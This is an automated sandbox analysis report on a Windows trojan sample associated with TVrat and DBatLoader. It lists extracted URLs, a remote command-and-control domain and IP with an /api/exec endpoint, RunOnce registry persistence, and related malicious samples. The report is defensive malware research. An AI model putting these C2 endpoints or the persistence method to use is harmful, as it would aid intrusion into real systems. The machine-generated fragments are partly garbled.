                                              http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1921257541.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917115603.000000000270F000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1913521432.0000000002945000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916642893.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918204929.000000000297F000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.dr, astclient.dll.10.drfalse
                                                		high
                                                https://curl.haxx.se/docs/http-cookies.htmlxcopy.exe, 0000000A.00000003.1919605698.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, ast.exe, 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpfalse
                                                  		high
                                                  https://curl.haxx.se/docs/http-cookies.html#ast.exefalse
                                                    		high
                                                    http://www.openssl.org/support/faq.htmlis-V6G0T.tmp.4.drfalse
                                                      		high
                                                      https://id.xn--80akicokc0aablc.xn--p1ai:443RWast.exe, 0000000B.00000003.2460874632.0000000005BD1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://datatracker.ietf.org/ipr/1526/ast.exe, 0000000B.00000000.2214853224.0000000000942000.00000002.00000001.01000000.0000000C.sdmp, is-HTIEL.tmp.4.drfalse
                                                        		high
                                                        https://id.xn--80akicokc0aablc.xn--p1ai:44335-ast.exe, 0000000B.00000002.2710811222.0000000003152000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2718754874.0000000005BA0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.borland.com/namespaces/Typesast.exe, 0000000B.00000002.2708118285.0000000000D48000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2708118285.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000E.00000002.2404512977.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://id.xn--80akicokc0aablc.xn--p1ai:44335/api/execast.exe, 0000000B.00000003.2364006508.0000000005C02000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2364006508.0000000005BDE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://id.xn--80akicokc0aablc.xn--p1ai:443rOast.exe, 0000000B.00000003.2288302792.0000000005BE0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            https://id.xn--80akicokc0aablc.xn--p1ai:443uIzast.exe, 0000000B.00000003.2460874632.0000000005BD1000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2718754874.0000000005BA8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            https://sectigo.com/CPS0BoZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.drfalse
                                                              		high
                                                              https://www.remobjects.com/psoZ3vtWXObB.exe, 00000000.00000003.1452548810.0000000002660000.00000004.00001000.00020000.00000000.sdmp, oZ3vtWXObB.exe, 00000000.00000003.1452968553.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, oZ3vtWXObB.tmp, 00000002.00000000.1454410842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, xcopy.exe, 0000000A.00000003.2210610570.0000000002911000.00000004.00000020.00020000.00000000.sdmp, is-U37IG.tmp.4.drfalse
                                                                		high
                                                                https://curl.haxx.se/docs/copyright.htmlDast.exe, 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpfalse
                                                                  		high
                                                                  https://curl.haxx.se/Vast.exe, 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpfalse
                                                                    		high
                                                                    https://datatracker.ietf.org/ipr/1914/ast.exe, 0000000B.00000000.2214853224.0000000000942000.00000002.00000001.01000000.0000000C.sdmp, is-HTIEL.tmp.4.drfalse
                                                                      		high
                                                                      https://www.innosetup.com/oZ3vtWXObB.exe, 00000000.00000003.1452548810.0000000002660000.00000004.00001000.00020000.00000000.sdmp, oZ3vtWXObB.exe, 00000000.00000003.1452968553.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, oZ3vtWXObB.tmp, 00000002.00000000.1454410842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, xcopy.exe, 0000000A.00000003.2210610570.0000000002911000.00000004.00000020.00020000.00000000.sdmp, is-U37IG.tmp.4.drfalse
                                                                        		high
                                                                        https://sectigo.com/CPS0CoZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1921257541.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.drfalse
                                                                          		high
                                                                          https://sectigo.com/CPS0Dxcopy.exe, 0000000A.00000003.1921257541.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917115603.000000000270F000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1913521432.0000000002945000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916642893.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918204929.000000000297F000.00000004.00000020.00020000.00000000.sdmp, astclient.dll.10.drfalse
                                                                            		high
                                                                            https://id.xn--80akicokc0aablc.xn--p1ai:443/Logast.exe, 0000000B.00000002.2718754874.0000000005C04000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://id.xn--80akicokc0aablc.xn--p1ai:443/ast.exe, 0000000B.00000003.2336663632.0000000005C02000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2718754874.0000000005C04000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://id.xn--80akicokc0aablc.xn--p1ai:443ast.exe, 0000000B.00000002.2709418895.0000000002F32000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://id.xn--80akicokc0aablc.xn--p1ai:4433ast.exe, 0000000B.00000003.2288302792.0000000005BE0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://id.xn--80akicokc0aablc.xn--p1ainkeast.exe, 0000000B.00000002.2718754874.0000000005BA8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown
                                                                                    https://id.xn--80akicokc0aablc.xn--p1ai:4432ast.exe, 0000000B.00000003.2288302792.0000000005BE0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://id.xn--80akicokc0aablc.xn--p1ai03ast.exe, 0000000B.00000002.2709418895.0000000002F64000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      http://www.borland.com/namespaces/Typesdast.exe, 0000000E.00000002.2404512977.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      https://id.xn--80akicokc0aablc.xn--p1ai:443...ast.exe, 0000000B.00000002.2720318166.000000000650C000.00000004.00000010.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2288476613.0000000005BC2000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2718754874.0000000005BA8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      https://id.xn--80akicokc0aablc.xn--p1ai1ast.exe, 0000000B.00000002.2709418895.0000000002F32000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      http://crt.sectigo.com/COMODOTimeStampingCA_2.crt0#oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.drfalse
                                                                                        		high
                                                                                        http://www.sqlite.org/copyright.html.oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpfalse
                                                                                          		high
                                                                                          https://id.xn--80akicokc0aablc.xn--p1ai00ast.exe, 0000000B.00000002.2718754874.0000000005B88000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          • Avira URL Cloud: safe
                                                                                          		unknown
                                                                                          https://id.xn--80akicokc0aablc.xn--p1aillQ/ast.exe, 0000000B.00000003.2364006508.0000000005BDE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          • Avira URL Cloud: safe
                                                                                          		unknown
                                                                                          https://id.xn--80akicokc0aablc.xn--p1aillUast.exe, 0000000B.00000003.2460667987.0000000005BE0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          • Avira URL Cloud: safe
                                                                                          		unknown
                                                                                          https://sectigo.com/CPS0xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917115603.000000000270F000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1913521432.0000000002945000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916642893.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918204929.000000000297F000.00000004.00000020.00020000.00000000.sdmp, astclient.dll.10.drfalse
                                                                                            		high
                                                                                            https://www.openssl.org/docs/faq.htmlxcopy.exe, 0000000A.00000003.1918880338.000000000294B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              https://id.xn--80akicokc0aablc.xn--p1arast.exe, 0000000B.00000003.2270346280.0000000005BBC000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              https://id.xn--80akicokc0aablc.xn--p1aiis-HTIEL.tmp.4.drfalse
                                                                                                		high
                                                                                                http://www.borland.com/namespaces/Typescryptoast.exe, 0000000B.00000002.2708118285.0000000000D48000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                • Avira URL Cloud: safe
                                                                                                		unknown
                                                                                                https://id.xn--80akicokc0aablc.xn--p1ai:44335...ast.exe, 0000000B.00000002.2710811222.000000000314B000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                • Avira URL Cloud: safe
                                                                                                		unknown
                                                                                                https://id.xn--80akicoast.exe, 0000000B.00000002.2720318166.000000000650C000.00000004.00000010.00020000.00000000.sdmpfalse
                                                                                                • Avira URL Cloud: safe
                                                                                                		unknown
                                                                                                https://id.xn--80akicokc0aablc.xn--p1ai:443nAast.exe, 0000000B.00000003.2288302792.0000000005BF4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                • Avira URL Cloud: safe
                                                                                                		unknown
                                                                                                https://id.xn--80akicokc0aablc.xn--p1aidllast.exe, 0000000B.00000003.2460667987.0000000005BE0000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2288476613.0000000005BC2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                • Avira URL Cloud: safe
                                                                                                		unknown
                                                                                                http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0soZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1921257541.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917115603.000000000270F000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1913521432.0000000002945000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916642893.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918204929.000000000297F000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.dr, astclient.dll.10.drfalse
                                                                                                  		high
                                                                                                  https://id.xn-ast.exe, 0000000B.00000003.2336663632.0000000005BD0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  • Avira URL Cloud: safe
                                                                                                  		unknown
                                                                                                  http://www.borland.com/namespaces/Typeswuuast.exe, 0000000B.00000002.2708118285.0000000000D48000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  • Avira URL Cloud: safe
                                                                                                  		unknown
                                                                                                  http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0txcopy.exe, 0000000A.00000003.1921257541.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917115603.000000000270F000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1913521432.0000000002945000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916642893.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918204929.000000000297F000.00000004.00000020.00020000.00000000.sdmp, astclient.dll.10.drfalse
                                                                                                    		high
                                                                                                    https://id.xn--80akicokc0aablc.xn--p1ai:44335ast.exe, 0000000B.00000002.2709418895.0000000002F2B000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2718754874.0000000005BA8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      https://id.xn--80akicokc0aablc.xn--p1ai:443...43ast.exe, 0000000B.00000002.2709418895.0000000002F23000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                      • Avira URL Cloud: safe
                                                                                                      		unknown
                                                                                                      https://id.xn--80akicokc0aablc.xn--p1ai:443/tClnstClnast.exe, 0000000B.00000003.2336663632.0000000005C02000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        https://id.xn--80akicokc0aablc.xn--p1aillsast.exe, 0000000B.00000003.2460667987.0000000005BE0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                        • Avira URL Cloud: safe
                                                                                                        		unknown
                                                                                                        https://id.xn--80akicokc0aablc.xn--p1aiUast.exe, 0000000B.00000003.2336663632.0000000005BD0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                        • Avira URL Cloud: safe
                                                                                                        		unknown
                                                                                                        http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#xcopy.exe, 0000000A.00000003.1921257541.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917115603.000000000270F000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1913521432.0000000002945000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916642893.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918204929.000000000297F000.00000004.00000020.00020000.00000000.sdmp, astclient.dll.10.drfalse
                                                                                                          		high
                                                                                                          http://www.borland.com/namespaces/Types6ast.exe, 0000000E.00000002.2404512977.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          • Avira URL Cloud: safe
                                                                                                          		unknown
                                                                                                          http://www.borland.com/namespaces/Typesuntimeast.exe, 0000000B.00000002.2708118285.0000000000D48000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          • Avira URL Cloud: safe
                                                                                                          		unknown
                                                                                                          https://id.xn--80akicokc0aablc.xn--p1ai:443SIast.exe, 0000000B.00000003.2336663632.0000000005BD0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          • Avira URL Cloud: safe
                                                                                                          		unknown
                                                                                                          https://id.xn--80akicokc0aablcZast.exe, 0000000B.00000003.2270346280.0000000005BBC000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          • Avira URL Cloud: safe
                                                                                                          		unknown
                                                                                                          https://datatracker.ietf.org/ipr/1524/ast.exe, 0000000B.00000000.2214853224.0000000000942000.00000002.00000001.01000000.0000000C.sdmp, is-HTIEL.tmp.4.drfalse
                                                                                                            		high
                                                                                                            https://www.openssl.org/Hxcopy.exe, 0000000A.00000003.1918204929.000000000296C000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2726140160.000000006C3B2000.00000002.00000001.01000000.00000013.sdmp, ast.exe, 0000000B.00000002.2725071368.000000006C310000.00000002.00000001.01000000.00000014.sdmpfalse
                                                                                                              		high
                                                                                                              https://id.xn--80akicokc0aablc.xn--p1aid003ast.exe, 0000000B.00000002.2709418895.0000000002F64000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                              • Avira URL Cloud: safe
                                                                                                              		unknown
                                                                                                              https://id.xn--80aast.exe, 0000000B.00000003.2270346280.0000000005BBC000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                              • Avira URL Cloud: safe
                                                                                                              		unknown
                                                                                                              https://id.xn--80akicokc0aablc.xn--p1ainkExast.exe, 0000000B.00000003.2364006508.0000000005BDE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                              • Avira URL Cloud: safe
                                                                                                              		unknown
                                                                                                              http://crypto-st.art/update.phpast.exe, 0000000E.00000002.2405241145.00000000027F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                              • Avira URL Cloud: safe
                                                                                                              		unknown
                                                                                                              https://id.xn--80akicokc0aaPast.exe, 0000000B.00000003.2288476613.0000000005BDA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                              • Avira URL Cloud: safe
                                                                                                              		unknown
                                                                                                              https://id.xn--80akicokc0aablc.xn--p1ai:443nast.exe, 0000000B.00000003.2363714018.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2336448697.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2425540333.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2718754874.0000000005BA8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                              • Avira URL Cloud: safe
                                                                                                              		unknown
                                                                                                              http://www.openssl.org/)is-HTIEL.tmp.4.drfalse
                                                                                                                		high
                                                                                                                http://www.borland.com/namespaces/Typesx6ast.exe, 0000000B.00000002.2708118285.0000000000D40000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                • Avira URL Cloud: safe
                                                                                                                		unknown
                                                                                                                http://www.borland.com/namespaces/Types%ast.exe, 0000000E.00000002.2404512977.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                • Avira URL Cloud: safe
                                                                                                                		unknown
                                                                                                                http://www.borland.com/namespaces/Types_9ast.exe, 0000000B.00000002.2708118285.0000000000D48000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                • Avira URL Cloud: safe
                                                                                                                		unknown
                                                                                                                https://id.xn--80akicokc0aablc.xn--p1airqast.exe, 0000000B.00000003.2288476613.0000000005BC2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                • Avira URL Cloud: safe
                                                                                                                		unknown

                                                                                                                World Map of Contacted IPs

                                                                                                                • No. of IPs < 25%
                                                                                                                • 25% < No. of IPs < 50%
                                                                                                                • 50% < No. of IPs < 75%
                                                                                                                • 75% < No. of IPs

                                                                                                                Public IPs

                                                                                                                IPDomainCountryFlagASNASN NameMalicious
                                                                                                                212.193.169.65
                                                                                                                		id.xn--80akicokc0aablc.xn--p1aiRussian Federation
                                                                                                                		60329SAFIB-ASRUfalse

                                                                                                                Private

                                                                                                                IP
                                                                                                                127.0.0.1

                                                                                                                General Information

                                                                                                                Joe Sandbox version:41.0.0 Charoite
                                                                                                                Analysis ID:1558738
                                                                                                                Start date and time:2024-11-19 18:56:10 +01:00
                                                                                                                Joe Sandbox product:CloudBasic
                                                                                                                Overall analysis duration:0h 11m 53s
                                                                                                                Hypervisor based Inspection enabled:false
                                                                                                                Report type:full
                                                                                                                Cookbook file name:default.jbs
                                                                                                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                Number of analysed new started processes analysed:16
                                                                                                                Number of new started drivers analysed:0
                                                                                                                Number of existing processes analysed:0
                                                                                                                Number of existing drivers analysed:0
                                                                                                                Number of injected processes analysed:0
                                                                                                                Technologies:
                                                                                                                • HCA enabled
                                                                                                                • EGA enabled
                                                                                                                • AMSI enabled
                                                                                                                Analysis Mode:default
                                                                                                                Analysis stop reason:Timeout
                                                                                                                Sample name:oZ3vtWXObB.exe
                                                                                                                renamed because original name is a hash value
                                                                                                                Original Sample Name:dd7c0d57c4fb9b1a0bfe6de8e493f47a23cc6176b6f82194c7ad03c927047fdb.exe
                                                                                                                Detection:MAL
                                                                                                                Classification:mal80.troj.evad.winEXE@16/62@1/2
                                                                                                                EGA Information:
                                                                                                                • Successful, ratio: 100%
                                                                                                                HCA Information:
                                                                                                                • Successful, ratio: 60%
                                                                                                                • Number of executed functions: 39
                                                                                                                • Number of non-executed functions: 163
                                                                                                                Cookbook Comments:
                                                                                                                • Found application associated with file extension: .exe

                                                                                                                Warnings

                                                                                                                • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                                                                                                • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                • Not all processes where analyzed, report is missing behavior information
                                                                                                                • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                                                                                                • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                                                • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                                • VT rate limit hit for: oZ3vtWXObB.exe

                                                                                                                Simulations

                                                                                                                Behavior and APIs

                                                                                                                TimeTypeDescription
                                                                                                                12:58:31API Interceptor1905x Sleep call for process: ast.exe modified
                                                                                                                18:58:30AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce act C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                18:58:38AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce act C:\Users\user\AppData\Roaming\is\ast.exe

                                                                                                                Joe Sandbox View / Context

                                                                                                                IPs

                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                212.193.169.651.exeGet hashmaliciousDBatLoader, TVratBrowse
                                                                                                                • id.xn--80akicokc0aablc.xn--p1ai:443http://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec
                                                                                                                scan_9374673_Medoc.pdf.exeGet hashmaliciousDBatLoader, TVratBrowse
                                                                                                                • id.xn--80akicokc0aablc.xn--p1ai:80http://id.xn--80akicokc0aablc.xn--p1ai:80/api/exec

                                                                                                                Domains

                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                id.xn--80akicokc0aablc.xn--p1aiwjpP1EOX0L.exeGet hashmaliciousTVratBrowse
                                                                                                                • 212.193.169.65
                                                                                                                1.exeGet hashmaliciousDBatLoader, TVratBrowse
                                                                                                                • 212.193.169.65
                                                                                                                1.exeGet hashmaliciousDBatLoader, TVratBrowse
                                                                                                                • 212.193.169.65
                                                                                                                scan_9374673_Medoc.pdf.exeGet hashmaliciousDBatLoader, TVratBrowse
                                                                                                                • 185.40.77.244
                                                                                                                scan_9374673_Medoc.pdf.exeGet hashmaliciousDBatLoader, TVratBrowse
                                                                                                                • 185.40.77.244
                                                                                                                XdYKQ6DMdP.exeGet hashmaliciousDBatLoader, TVratBrowse
                                                                                                                • 185.40.77.244
                                                                                                                ZQakIVuCoO.exeGet hashmaliciousTVratBrowse
                                                                                                                • 212.193.169.65
                                                                                                                https://v2-hbconnect.website/order_create_596807_15-07-2022_14-32-02.zipGet hashmaliciousTVratBrowse
                                                                                                                • 212.193.169.65
                                                                                                                5RtqJVIFa3.exeGet hashmaliciousTVratBrowse
                                                                                                                • 45.84.85.231
                                                                                                                hJ9ZjmbY5r.exeGet hashmaliciousDCRat RedLine TVratBrowse
                                                                                                                • 212.193.169.74

                                                                                                                ASNs

                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                SAFIB-ASRUwjpP1EOX0L.exeGet hashmaliciousTVratBrowse
                                                                                                                • 212.193.169.65
                                                                                                                1.exeGet hashmaliciousDBatLoader, TVratBrowse
                                                                                                                • 212.193.169.65
                                                                                                                1.exeGet hashmaliciousDBatLoader, TVratBrowse
                                                                                                                • 212.193.169.68
                                                                                                                scan_9374673_Medoc.pdf.exeGet hashmaliciousDBatLoader, TVratBrowse
                                                                                                                • 212.193.169.68
                                                                                                                scan_9374673_Medoc.pdf.exeGet hashmaliciousDBatLoader, TVratBrowse
                                                                                                                • 212.193.169.68
                                                                                                                XdYKQ6DMdP.exeGet hashmaliciousDBatLoader, TVratBrowse
                                                                                                                • 212.193.169.68
                                                                                                                ZQakIVuCoO.exeGet hashmaliciousTVratBrowse
                                                                                                                • 212.193.169.65
                                                                                                                41d9459adfc2174e254616e62e78811abee49d1114f04.exeGet hashmaliciousTVratBrowse
                                                                                                                • 212.193.169.74
                                                                                                                TbDXlssS18.exeGet hashmaliciousDCRat RedLine TVratBrowse
                                                                                                                • 212.193.169.74
                                                                                                                H9x6j98ecX.exeGet hashmaliciousTVratBrowse
                                                                                                                • 212.193.169.74

                                                                                                                JA3 Fingerprints

                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                74954a0c86284d0d6e1c4efefe92b521wjpP1EOX0L.exeGet hashmaliciousTVratBrowse
                                                                                                                • 212.193.169.65
                                                                                                                avast_free_antivirus_setup_online.exeGet hashmaliciousUnknownBrowse
                                                                                                                • 212.193.169.65
                                                                                                                avast_free_antivirus_setup_online.exeGet hashmaliciousUnknownBrowse
                                                                                                                • 212.193.169.65
                                                                                                                file.exeGet hashmaliciousUnknownBrowse
                                                                                                                • 212.193.169.65
                                                                                                                file.exeGet hashmaliciousCStealerBrowse
                                                                                                                • 212.193.169.65
                                                                                                                https://storage.googleapis.com/windows_bucket1/turbo/download/TurboVPN_setup.exeGet hashmaliciousUnknownBrowse
                                                                                                                • 212.193.169.65
                                                                                                                SecuriteInfo.com.Trojan.Siggen29.64132.8972.20040.exeGet hashmaliciousUnknownBrowse
                                                                                                                • 212.193.169.65
                                                                                                                #U2749VER CUENTA#U2749_#U2464#U2466#U2460#U2462#U2463#U2460#U2466#U2462.htaGet hashmaliciousUnknownBrowse
                                                                                                                • 212.193.169.65
                                                                                                                6725c86d7fc7b.vbsGet hashmaliciousUnknownBrowse
                                                                                                                • 212.193.169.65
                                                                                                                26HY8aPgae.exeGet hashmaliciousUnknownBrowse
                                                                                                                • 212.193.169.65

                                                                                                                Dropped Files

                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                C:\Users\user\AppData\Local\Temp\is-7K2HG.tmp\_isetup\_iscrypt.dllwjpP1EOX0L.exeGet hashmaliciousTVratBrowse
                                                                                                                  1.exeGet hashmaliciousDBatLoader, TVratBrowse
                                                                                                                    1.exeGet hashmaliciousDBatLoader, TVratBrowse
